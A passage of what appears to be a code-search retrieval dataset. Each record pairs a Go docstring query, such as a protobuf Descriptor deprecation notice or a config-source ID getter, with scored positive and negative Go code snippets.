entity.Person) {\n\tu.printer.Print(p.Name())\n}", "title": "" }, { "docid": "24765ce45ac467e829dcc014adc716c3", "score": "0.5265412", "text": "func ReadOnePerson(id string) (Person, error) {\n\tdb := data.GetDb()\n\tvar person Person\n\tif err := db.First(&person).Error; err != nil {\n\t\treturn Person{}, err\n\t}\n\tvar car Car\n\tif err := db.First(&car, person.CarID).Error; err != nil {\n\t\treturn Person{}, err\n\t}\n\tperson.Car = car\n\treturn person, nil\n\n}", "title": "" }, { "docid": "91975a53da0402b893d226ec33f92b25", "score": "0.52601624", "text": "func FindPerson(ctx context.Context, exec boil.ContextExecutor, iD int, selectCols ...string) (*Person, error) {\n\tpersonObj := &Person{}\n\n\tsel := \"*\"\n\tif len(selectCols) > 0 {\n\t\tsel = strings.Join(strmangle.IdentQuoteSlice(dialect.LQ, dialect.RQ, selectCols), \",\")\n\t}\n\tquery := fmt.Sprintf(\n\t\t\"select %s from \\\"persons\\\" where \\\"id\\\"=$1\", sel,\n\t)\n\n\tq := queries.Raw(query, iD)\n\n\terr := q.Bind(ctx, exec, personObj)\n\tif err != nil {\n\t\tif errors.Cause(err) == sql.ErrNoRows {\n\t\t\treturn nil, sql.ErrNoRows\n\t\t}\n\t\treturn nil, errors.Wrap(err, \"models: unable to select from persons\")\n\t}\n\n\treturn personObj, nil\n}", "title": "" }, { "docid": "34bb4179ac2924c9eb4cac6dceb43c5c", "score": "0.5235478", "text": "func (p Person) greet() string {\n\tfmt.Println(p.firstName)\n\treturn \"Hello, my name is \" + p.firstName + \" \" + p.lastName + \" and I am \" + strconv.Itoa(p.age)\n}", "title": "" }, { "docid": "2253fc0fb0b2b80c34c3e287c9b66bda", "score": "0.52267504", "text": "func (p Person) AsBasicIdentifiable() (BasicIdentifiable, bool) {\n\treturn &p, true\n}", "title": "" } ]
7ab5b6a6b3fd6405712245c77db10b30
Deprecated: Use PaymentMethod.ProtoReflect.Descriptor instead.
[ { "docid": "0db5ebe8a6f5c9b88535d6a5b6982cbe", "score": "0.7135519", "text": "func (*PaymentMethod) Descriptor() ([]byte, []int) {\n\treturn file_ppp_ppp_proto_rawDescGZIP(), []int{0}\n}", "title": "" } ]
[ { "docid": "2f4c541f3c965ee54eff0cd4f0d501ce", "score": "0.68586946", "text": "func (*CryptoPaymentMethod) Descriptor() ([]byte, []int) {\n\treturn file_entity_entity_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "bdd12f25d4331169886e313c1fcafce5", "score": "0.67307884", "text": "func (*BankPaymentMethod) Descriptor() ([]byte, []int) {\n\treturn file_entity_entity_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "91daa5bda60e06eb28cb20297bd7252c", "score": "0.67083603", "text": "func (PaymentMethod) EnumDescriptor() ([]byte, []int) {\n\treturn file_invoice_invoice_request_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "738a7c737f0efeec136c7330f7bbcdce", "score": "0.66229296", "text": "func (PaymentMethodName) EnumDescriptor() ([]byte, []int) {\n\treturn file_ppp_ppp_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "e431658bc0e5c9b7b964b74856346b90", "score": "0.6620894", "text": "func (*PaymentInfo) Descriptor() ([]byte, []int) {\n\treturn file_proto_payment_payment_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "003bae1883f546fe431b5342d9c68422", "score": "0.65627855", "text": "func (*Payments) Descriptor() ([]byte, []int) {\n\treturn file_payment_payment_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "9d1e8ba75f6b91a5f6aa5f92e3e766c1", "score": "0.6454937", "text": "func (*Payment) Descriptor() ([]byte, []int) {\n\treturn file_invoice_invoice_request_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "ca877a7c3c923ed62688e5da205704f8", "score": "0.6358218", "text": "func (*Payment) Descriptor() ([]byte, []int) {\n\treturn file_bip70_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "6eb082d6a50273e8ba9c827ee6277d6e", "score": "0.6321903", "text": "func (*WatchMethodDescriptorRequest) Descriptor() ([]byte, []int) {\n\treturn edgelq_audit_proto_v1alpha2_method_descriptor_service_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "b9f684361648a15eaf55c6d72327d482", "score": "0.63173306", "text": "func (*PaymentType) Descriptor() ([]byte, []int) {\n\treturn file_property_property_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "6d0c92638e8cdc425288beb203f1d4ed", "score": "0.6314425", "text": "func (*UpdateMethodDescriptorRequest) Descriptor() ([]byte, []int) {\n\treturn edgelq_audit_proto_v1alpha2_method_descriptor_service_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "3b8026387568795d5b6cffc27c349e8f", "score": "0.6306241", "text": "func (*PaymentID) Descriptor() ([]byte, []int) {\n\treturn file_proto_payment_payment_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "9f4428eb28749be202aabcebc677be5e", "score": "0.6285646", "text": "func (*Order_Payment) Descriptor() ([]byte, []int) {\n\treturn file_order_proto_rawDescGZIP(), []int{0, 1}\n}", "title": "" }, { "docid": "aa0f1083f13a3e3bc4d3c701a27cd5b2", "score": "0.6273261", "text": "func (*InvoicePaymentType) Descriptor() ([]byte, []int) {\n\treturn file_invoice_invoice_request_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "91506b534bb3753cfa455c58de9f12c3", "score": "0.62691575", "text": "func (*PaymentAll) Descriptor() ([]byte, []int) {\n\treturn file_proto_payment_payment_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "5bd685b1f1e46fc8f9694bd028667c47", "score": "0.62663037", "text": "func (*CreateMethodDescriptorRequest) Descriptor() ([]byte, []int) {\n\treturn edgelq_audit_proto_v1alpha2_method_descriptor_service_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "4183bbaa7153d7e6a87f30a10259ad96", "score": "0.62658656", "text": "func (*GetMethodDescriptorRequest) Descriptor() ([]byte, []int) {\n\treturn edgelq_audit_proto_v1alpha2_method_descriptor_service_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "967d5aa4771bd2dbea2310006d5e9a47", "score": "0.62604624", "text": "func (*PaymentDetails) Descriptor() ([]byte, []int) {\n\treturn file_common_document_common_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "084e47b43be686bc9b2533bcfc21e51a", "score": "0.6237465", "text": "func (*WatchMethodDescriptorsRequest) Descriptor() ([]byte, []int) {\n\treturn edgelq_audit_proto_v1alpha2_method_descriptor_service_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "8e7a2553493e2e0798f6a453f9b6cea7", "score": "0.6230819", "text": "func (*PaymentDetails) Descriptor() ([]byte, []int) {\n\treturn file_bip70_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "9e1d26cdc0708c599a7b9a9e9362a1f2", "score": "0.62100595", "text": "func (*OtherPayment) Descriptor() ([]byte, []int) {\n\treturn file_entity_entity_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "a61e1b9a025438d46204849024203afc", "score": "0.61840665", "text": "func (*PaymentDetail) Descriptor() ([]byte, []int) {\n\treturn file_entity_entity_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "dbccd8a8eee5f93f6f1729887cd78463", "score": "0.6175039", "text": "func (*WatchMethodDescriptorResponse) Descriptor() ([]byte, []int) {\n\treturn edgelq_audit_proto_v1alpha2_method_descriptor_service_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "184c16b7ded4e15bc5c2ed41588092a9", "score": "0.61433834", "text": "func (*ObfuscatedMember) Descriptor() ([]byte, []int) {\n\treturn file_perfetto_perfetto_trace_proto_rawDescGZIP(), []int{405}\n}", "title": "" }, { "docid": "c4e653e3e2f1b1c3aa96ffc950d1e555", "score": "0.6124047", "text": "func (*All) Descriptor() ([]byte, []int) {\n\treturn file_proto_payment_payment_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "9ebe063ac3d09444820932d0d5b4f158", "score": "0.6123937", "text": "func (*ListMethodDescriptorsRequest) Descriptor() ([]byte, []int) {\n\treturn edgelq_audit_proto_v1alpha2_method_descriptor_service_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "9cfe68a233df806e086583e9751d73f3", "score": "0.6117268", "text": "func (*PaymentRequest) Descriptor() ([]byte, []int) {\n\treturn file_bip70_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "24215b8a3d47df7aedebef911bb60270", "score": "0.6090961", "text": "func (*WatchMethodDescriptorsResponse) Descriptor() ([]byte, []int) {\n\treturn edgelq_audit_proto_v1alpha2_method_descriptor_service_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "cd9d103bca5d5694b1532822449823cb", "score": "0.60633725", "text": "func (*PaymentNotice) Descriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_r4_core_resources_payment_notice_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "2b56b83eb1b5ac2f8c66c52407dea932", "score": "0.6052628", "text": "func (*Request) Descriptor() ([]byte, []int) {\n\treturn file_payment_payment_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "e9dbec07920e1f1304313e5e4f1ef1f2", "score": "0.6039649", "text": "func (*WatchMethodDescriptorsResponse_PageTokenChange) Descriptor() ([]byte, []int) {\n\treturn edgelq_audit_proto_v1alpha2_method_descriptor_service_proto_rawDescGZIP(), []int{8, 0}\n}", "title": "" }, { "docid": "a415cef8be3a687062fe2d1a43c9716d", "score": "0.60060674", "text": "func (*ExplanationOfBenefit_Payment) Descriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_stu3_resources_proto_rawDescGZIP(), []int{46, 10}\n}", "title": "" }, { "docid": "2d6846a621e4ab91e57e58cf5062fb70", "score": "0.6003089", "text": "func (x *fastReflection_MsgCancelUnbondingDelegation) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgCancelUnbondingDelegation\n}", "title": "" }, { "docid": "8b0706bc423cdd1741ffe5e49754d8d6", "score": "0.59977996", "text": "func (VerificationResult) EnumDescriptor() ([]byte, []int) {\n\treturn file_banking_linked_card_service_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "de9cc349709510c2f64969cfc5ddd60e", "score": "0.59934425", "text": "func (*ListMethodDescriptorsResponse) Descriptor() ([]byte, []int) {\n\treturn edgelq_audit_proto_v1alpha2_method_descriptor_service_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "ccc191d6a5b1fe4bcbb2760f22b85732", "score": "0.59906226", "text": "func (x *fastReflection_BasketCredit) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_BasketCredit\n}", "title": "" }, { "docid": "e9521ae35ace0598e35ddda4577607ec", "score": "0.5975783", "text": "func (x *fastReflection_RequestDeliverTx) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_RequestDeliverTx\n}", "title": "" }, { "docid": "2927663eef49c8e9646e717fe934f9ee", "score": "0.5967086", "text": "func (*Plan) Descriptor() ([]byte, []int) {\n\treturn file_proto_plans_service_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "e1f3681d73cf34536a8cfad1514c595f", "score": "0.5959096", "text": "func (*DisconnectRequestPB) Descriptor() ([]byte, []int) {\n\treturn file_yb_rpc_rtest_proto_rawDescGZIP(), []int{16}\n}", "title": "" }, { "docid": "d21f1e6e9a01198f2de972b37fa0c008", "score": "0.5957918", "text": "func (*ClaimResponse_Payment) Descriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_stu3_resources_proto_rawDescGZIP(), []int{16, 3}\n}", "title": "" }, { "docid": "0e90d36a0943acc68f1c4901d8c85806", "score": "0.5957715", "text": "func (x *fastReflection_MsgTransferTokenizeShareRecord) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgTransferTokenizeShareRecord\n}", "title": "" }, { "docid": "198e71ed72adbfa9fea26c843e16d851", "score": "0.595382", "text": "func (x *fastReflection_MsgValidatorBond) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgValidatorBond\n}", "title": "" }, { "docid": "5fd2b0e9b0df357cee67eb52ddd58c1b", "score": "0.5950931", "text": "func (x *fastReflection_VersionParams) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_VersionParams\n}", "title": "" }, { "docid": "eb035bb3d05618747d2462b04af7e4be", "score": "0.5947074", "text": "func (ValidatePeerCertificateChainReq_VerificationMode) EnumDescriptor() ([]byte, []int) {\n\treturn file_internal_proto_v2_s2a_s2a_proto_rawDescGZIP(), []int{9, 0}\n}", "title": "" }, { "docid": "19d573e5717ae4dc55b280f0462fb8ea", "score": "0.59462076", "text": "func (x *fastReflection_MsgUndelegate) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgUndelegate\n}", "title": "" }, { "docid": "4620b44664507c8d4ff68db228f09af2", "score": "0.5945629", "text": "func (Method) EnumDescriptor() ([]byte, []int) {\n\treturn file_types_record_record_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "149c2b40babbc4ec1a8f52ef8ad133d0", "score": "0.5942477", "text": "func (x *fastReflection_MsgRedeemTokensForShares) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgRedeemTokensForShares\n}", "title": "" }, { "docid": "d48e0ce2fac29a502e49feef8cfd1080", "score": "0.5931703", "text": "func (SendMethod) EnumDescriptor() ([]byte, []int) {\n\treturn file_messaging_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "d29a632555ff9d3780c9d57ac7a8b500", "score": "0.59247816", "text": "func (x *fastReflection_ResponseDeliverTx) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_ResponseDeliverTx\n}", "title": "" }, { "docid": "91c3ff6dbc121d630b6a1802c3147cd9", "score": "0.59178823", "text": "func (x *fastReflection_MsgDisableTokenizeShares) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgDisableTokenizeShares\n}", "title": "" }, { "docid": "a79db9a5c00bf8d0db46d093b2f5890c", "score": "0.58987236", "text": "func (*Response) Descriptor() ([]byte, []int) {\n\treturn file_proto_payment_payment_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "8e3bd8f960cca28641afec7fdb5909b0", "score": "0.5895855", "text": "func (x *fastReflection_Request) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_Request\n}", "title": "" }, { "docid": "4f4ee8ce637a73efb1833933b63e22ce", "score": "0.58931386", "text": "func (x *fastReflection_MsgValidatorBondResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgValidatorBondResponse\n}", "title": "" }, { "docid": "f966e6cf8071f554f42f597cb9a429e6", "score": "0.5891457", "text": "func (*UpdateMethodDescriptorRequest_CAS) Descriptor() ([]byte, []int) {\n\treturn edgelq_audit_proto_v1alpha2_method_descriptor_service_proto_rawDescGZIP(), []int{10, 0}\n}", "title": "" }, { "docid": "4b6795eac12a7966cdf6c8aacd0abbab", "score": "0.5891049", "text": "func (desc *immutable) DescriptorProto() *descpb.Descriptor {\n\treturn &descpb.Descriptor{\n\t\tUnion: &descpb.Descriptor_Database{\n\t\t\tDatabase: &desc.DatabaseDescriptor,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "9a49e9a1f607374f6b8985eb72143926", "score": "0.588929", "text": "func (*EnumOnlyProto2) Descriptor() ([]byte, []int) {\n\treturn file_google_protobuf_test_messages_proto2_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "81aa3a42f1667c32746bf2033bb06c90", "score": "0.58868253", "text": "func (*BatchGetMethodDescriptorsRequest) Descriptor() ([]byte, []int) {\n\treturn edgelq_audit_proto_v1alpha2_method_descriptor_service_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "04947bf8e64c0e0506ec99f13291881c", "score": "0.5884879", "text": "func (*Message) Descriptor() ([]byte, []int) {\n\treturn file_proto_payments_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "5395894f515a94f8cbbc2edacd8f80b3", "score": "0.5880618", "text": "func (*MethodMatch) Descriptor() ([]byte, []int) {\n\treturn file_envoy_config_filter_network_dubbo_proxy_v2alpha1_route_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "c75d6c48573803461c4292dd241a89f9", "score": "0.5875109", "text": "func (*PaymentNotice) Descriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_stu3_resources_proto_rawDescGZIP(), []int{81}\n}", "title": "" }, { "docid": "df5187a7a50b46904deb2b27230469c0", "score": "0.58732146", "text": "func (x *fastReflection_MsgUpdateParams) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgUpdateParams\n}", "title": "" }, { "docid": "7d53f6e32e558d7950d7054b599ceb68", "score": "0.5866268", "text": "func (*GetPlanRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_plans_service_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "cc656af1ffbd03b860a72aeee6194bdc", "score": "0.5858144", "text": "func (x *fastReflection_RequestOfferSnapshot) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_RequestOfferSnapshot\n}", "title": "" }, { "docid": "37d0528d2c9641819264fbc50218f222", "score": "0.5856414", "text": "func (x *fastReflection_MsgUpdateParamsResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgUpdateParamsResponse\n}", "title": "" }, { "docid": "e6afbeae8a42e73e0b0d1cd8bdcf3b1e", "score": "0.5855098", "text": "func (DeploymentMethod_Type) EnumDescriptor() ([]byte, []int) {\n\treturn file_log_proto_rawDescGZIP(), []int{2, 0}\n}", "title": "" }, { "docid": "0e24560f9cc8b9c3c197f7cdbfb13386", "score": "0.5854994", "text": "func (x *fastReflection_MsgCancelUnbondingDelegationResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgCancelUnbondingDelegationResponse\n}", "title": "" }, { "docid": "6b245e7d5a27bccfbda315eeabcc40dc", "score": "0.58465755", "text": "func (*Request) Descriptor() ([]byte, []int) {\n\treturn file_proto_payments_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "dda9fa0bd39cbadc50a70d269ca6fe2e", "score": "0.58393365", "text": "func (x *fastReflection_VoteInfo) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_VoteInfo\n}", "title": "" }, { "docid": "bcc93f8b423107071836abada7b4598b", "score": "0.5838436", "text": "func (x *fastReflection_RequestInfo) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_RequestInfo\n}", "title": "" }, { "docid": "8a6411e6ddf517c258cbd2798397aadc", "score": "0.58379847", "text": "func (x *fastReflection_ResponseInfo) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_ResponseInfo\n}", "title": "" }, { "docid": "ab50f6367f286bfedd64a71872cfafe8", "score": "0.5837625", "text": "func (*PlanRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_plans_service_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "a1491a068300a9dab975e2894a04eb64", "score": "0.58273673", "text": "func (*PolicyParameters) Descriptor() ([]byte, []int) {\n\treturn file_api_v1_messages_proto_rawDescGZIP(), []int{19}\n}", "title": "" }, { "docid": "775c36fef0d8528e6e6fc9ed3eb9e260", "score": "0.58229834", "text": "func (*Signature) Descriptor() ([]byte, []int) {\n\treturn file_rpc_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "d7d27f9f14c550ea24041e43d50aab6f", "score": "0.58189386", "text": "func (PilotCertProviderType) EnumDescriptor() ([]byte, []int) {\n\treturn file_api_v1alpha1_istiocontrolplane_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "40304d395d4066c292dc91e007dfae3e", "score": "0.58185107", "text": "func (x *fastReflection_MsgTransferTokenizeShareRecordResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgTransferTokenizeShareRecordResponse\n}", "title": "" }, { "docid": "dbc1c7c9c275d4b3f1365a0ed8948246", "score": "0.5811315", "text": "func (x *fastReflection_MsgRedeemTokensForSharesResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgRedeemTokensForSharesResponse\n}", "title": "" }, { "docid": "2526ff124caeebfc05eeada7df394eb6", "score": "0.58095014", "text": "func (ReplToken_WireFormat) EnumDescriptor() ([]byte, []int) {\n\treturn file_client_proto_rawDescGZIP(), []int{3, 1}\n}", "title": "" }, { "docid": "88964c50419dd7e8a95a40888eb65eb5", "score": "0.5806061", "text": "func (BuildOptions_VerifyOption) EnumDescriptor() ([]byte, []int) {\n\treturn file_google_devtools_cloudbuild_v1_cloudbuild_proto_rawDescGZIP(), []int{45, 0}\n}", "title": "" }, { "docid": "f7569b136bc56d52e3fb159220efff4d", "score": "0.580326", "text": "func (*DeprecateDomainRequest) Descriptor() ([]byte, []int) {\n\treturn file_uber_cadence_api_v1_service_domain_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "db2fde37e379cd727f0ecaac44ba0a1a", "score": "0.5801115", "text": "func (*Response) Descriptor() ([]byte, []int) {\n\treturn file_payment_payment_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "7bf71c042fe14a5187f757c0fa4149ae", "score": "0.5799783", "text": "func (Service_Type) EnumDescriptor() ([]byte, []int) {\n\treturn file_k8s_v1_k8s_proto_rawDescGZIP(), []int{34, 0}\n}", "title": "" }, { "docid": "3934139460db0ec9b0510cb97c65b9f2", "score": "0.57976174", "text": "func (x *fastReflection_Response) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_Response\n}", "title": "" }, { "docid": "2852e7a29e4932fa376a9e6d45ab9e31", "score": "0.5791765", "text": "func (x *fastReflection_MsgTokenizeShares) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgTokenizeShares\n}", "title": "" }, { "docid": "328511de915b25359022a42466f381dc", "score": "0.57839644", "text": "func (*PaymentReconciliation_Details) Descriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_stu3_resources_proto_rawDescGZIP(), []int{82, 0}\n}", "title": "" }, { "docid": "fe8b60e36732d36fedfeb5f599f22dc2", "score": "0.57833415", "text": "func (VrfTable_Protocol) EnumDescriptor() ([]byte, []int) {\n\treturn file_ligato_vpp_l3_vrf_proto_rawDescGZIP(), []int{0, 0}\n}", "title": "" }, { "docid": "9cbeaff92a72de90661f5cf753163525", "score": "0.57823724", "text": "func (*UpdatePlanPB) Descriptor() ([]byte, []int) {\n\treturn file_yb_common_common_proto_rawDescGZIP(), []int{28}\n}", "title": "" }, { "docid": "9f97294a04d80ec0763cfba34940dde0", "score": "0.5779706", "text": "func (x *fastReflection_MsgUnbondValidator) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgUnbondValidator\n}", "title": "" }, { "docid": "a566b169a158b22261ca7a930536ce4d", "score": "0.5775707", "text": "func (SetValue_Behavior) EnumDescriptor() ([]byte, []int) {\n\treturn file_third_party_bazel_src_main_protobuf_invocation_policy_proto_rawDescGZIP(), []int{2, 0}\n}", "title": "" }, { "docid": "ce79bc49270ef74e52cb56038f981715", "score": "0.5775432", "text": "func (x *fastReflection_MsgDisableTokenizeSharesResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgDisableTokenizeSharesResponse\n}", "title": "" }, { "docid": "21719e07d614f1ea0b7787a5d44748c5", "score": "0.5773152", "text": "func (*BLS12Signature) Descriptor() ([]byte, []int) {\n\treturn file_internal_proto_hotstuff_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "591bfa66476842714abdccadef47f9c7", "score": "0.5770666", "text": "func (*Details) Descriptor() ([]byte, []int) {\n\treturn file_proto_purchase_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "1457e1bca9c56a6b87f1f6f07df6c29f", "score": "0.57628965", "text": "func (Query_RestOptions_Method) EnumDescriptor() ([]byte, []int) {\n\treturn file_cmd_protoc_gen_go_genms_dal_annotations_annotations_proto_rawDescGZIP(), []int{1, 1, 0}\n}", "title": "" }, { "docid": "448c92a38346c00c9b4a9bd214b628f8", "score": "0.5761831", "text": "func (x *fastReflection_ResponseOfferSnapshot) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_ResponseOfferSnapshot\n}", "title": "" }, { "docid": "9c4c817e062054a716c9b60b12f3588a", "score": "0.5760816", "text": "func (*BatchGetMethodDescriptorsResponse) Descriptor() ([]byte, []int) {\n\treturn edgelq_audit_proto_v1alpha2_method_descriptor_service_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "9f4f284de4deb94e6aa9cb2b3701d8a3", "score": "0.57564443", "text": "func (OffloadPrivateKeyOperationReq_PrivateKeyOperation) EnumDescriptor() ([]byte, []int) {\n\treturn file_internal_proto_v2_s2a_s2a_proto_rawDescGZIP(), []int{5, 0}\n}", "title": "" }, { "docid": "de0d600db950cfda1fa3abc841072f6e", "score": "0.57564074", "text": "func (SubscribeMethod) EnumDescriptor() ([]byte, []int) {\n\treturn file_test_rpc_messagequeue_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "412f7e97b41bb6d319fddfdaf3ef99bb", "score": "0.5754413", "text": "func (Type) EnumDescriptor() ([]byte, []int) {\n\treturn file_pendaftaranpesertabri_message_proto_rawDescGZIP(), []int{14}\n}", "title": "" }, { "docid": "2be6e933d21e03c7fa20634b8d292aac", "score": "0.5753367", "text": "func (*SetPolicyRequest) Descriptor() ([]byte, []int) {\n\treturn file_packetbroker_api_routing_v1_service_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "4f9d93aeb7f2aca90d0e6cd4599ded59", "score": "0.5751221", "text": "func (*PlanCreated) Descriptor() ([]byte, []int) {\n\treturn file_proto_plans_service_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "1eb54e82a8c6d6687acbd2491dfd7640", "score": "0.57455754", "text": "func (ValidatePeerCertificateChainResp_ValidationResult) EnumDescriptor() ([]byte, []int) {\n\treturn file_internal_proto_v2_s2a_s2a_proto_rawDescGZIP(), []int{10, 0}\n}", "title": "" } ]
5d0d75a3f0dd8ffba858173ded4fab0d
GetSourceCfgIDs gets all added source ID.
[ { "docid": "5b989317ea8c58ad4da0b873f387ca4b", "score": "0.8634146", "text": "func (s *Scheduler) GetSourceCfgIDs() []string {\n\ts.mu.RLock()\n\tdefer s.mu.RUnlock()\n\n\tid := make([]string, 0, len(s.sourceCfgs))\n\tfor i := range s.sourceCfgs {\n\t\tid = append(id, i)\n\t}\n\treturn id\n}", "title": "" } ]
[ { "docid": "8d9073ffa264e750dee35bc6ec76f963", "score": "0.65844977", "text": "func (o ExperienceConfigurationContentSourceConfigurationPtrOutput) DataSourceIds() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v *ExperienceConfigurationContentSourceConfiguration) []string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.DataSourceIds\n\t}).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "c6d663a6e21cd9298f68c4032699d74b", "score": "0.65318805", "text": "func (o GetExperienceConfigurationContentSourceConfigurationOutput) DataSourceIds() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v GetExperienceConfigurationContentSourceConfiguration) []string { return v.DataSourceIds }).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "9dae5ef5b0463af94c3172100099236c", "score": "0.65296096", "text": "func (o ExperienceConfigurationContentSourceConfigurationOutput) DataSourceIds() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v ExperienceConfigurationContentSourceConfiguration) []string { return v.DataSourceIds }).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "303874a00646c2c05c888f8792dcd0e3", "score": "0.61915284", "text": "func (s *Scheduler) GetSourceCfgs() map[string]*config.SourceConfig {\n\ts.mu.RLock()\n\tdefer s.mu.RUnlock()\n\tclone := make(map[string]*config.SourceConfig, len(s.sourceCfgs))\n\tfor sourceID, sourceCfg := range s.sourceCfgs {\n\t\tcloneCfg := sourceCfg.Clone()\n\t\tclone[sourceID] = cloneCfg\n\t}\n\treturn clone\n}", "title": "" }, { "docid": "5d34f43e91a0cd1d19d0af83ed037d20", "score": "0.6190646", "text": "func (c *Config) SourceNames() []string {\n\tvar name []string\n\tfor _, source := range c.Sources {\n\t\tname = append(name, source.Name())\n\t}\n\treturn name\n}", "title": "" }, { "docid": "fcb4e9a41ca6273ed9abd7cf7cf6aac3", "score": "0.6188343", "text": "func ListSources() (s []string, err error) {\n\tit := contexts.DB.NewIterator(\n\t\tutil.BytesPrefix([]byte(constants.KeySourcePrefix)), nil)\n\n\tb := it.Seek([]byte(constants.KeySourcePrefix))\n\n\tif b {\n\t\tkey := it.Key()\n\n\t\tif !bytes.HasPrefix(key, []byte(constants.KeySourcePrefix)) {\n\t\t\tb = false\n\t\t}\n\n\t\ts = append(s, string(key))\n\n\t\tb = it.Next()\n\t}\n\n\tit.Release()\n\terr = it.Error()\n\treturn\n}", "title": "" }, { "docid": "a110d3fad0b40df085fcc4747cbf11d3", "score": "0.6119877", "text": "func (landscape *CutCornersLandscape) GetSources(boards.BoardID) []p2ppeer.ID {\n\treturn memberPeerIDs\n}", "title": "" }, { "docid": "c37159fc9ea152de477f1891a62e788d", "score": "0.59794664", "text": "func (m *ConnectedOrganization) GetIdentitySources()([]IdentitySourceable) {\n val, err := m.GetBackingStore().Get(\"identitySources\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.([]IdentitySourceable)\n }\n return nil\n}", "title": "" }, { "docid": "4104f7a398e7b911cf43818c13607216", "score": 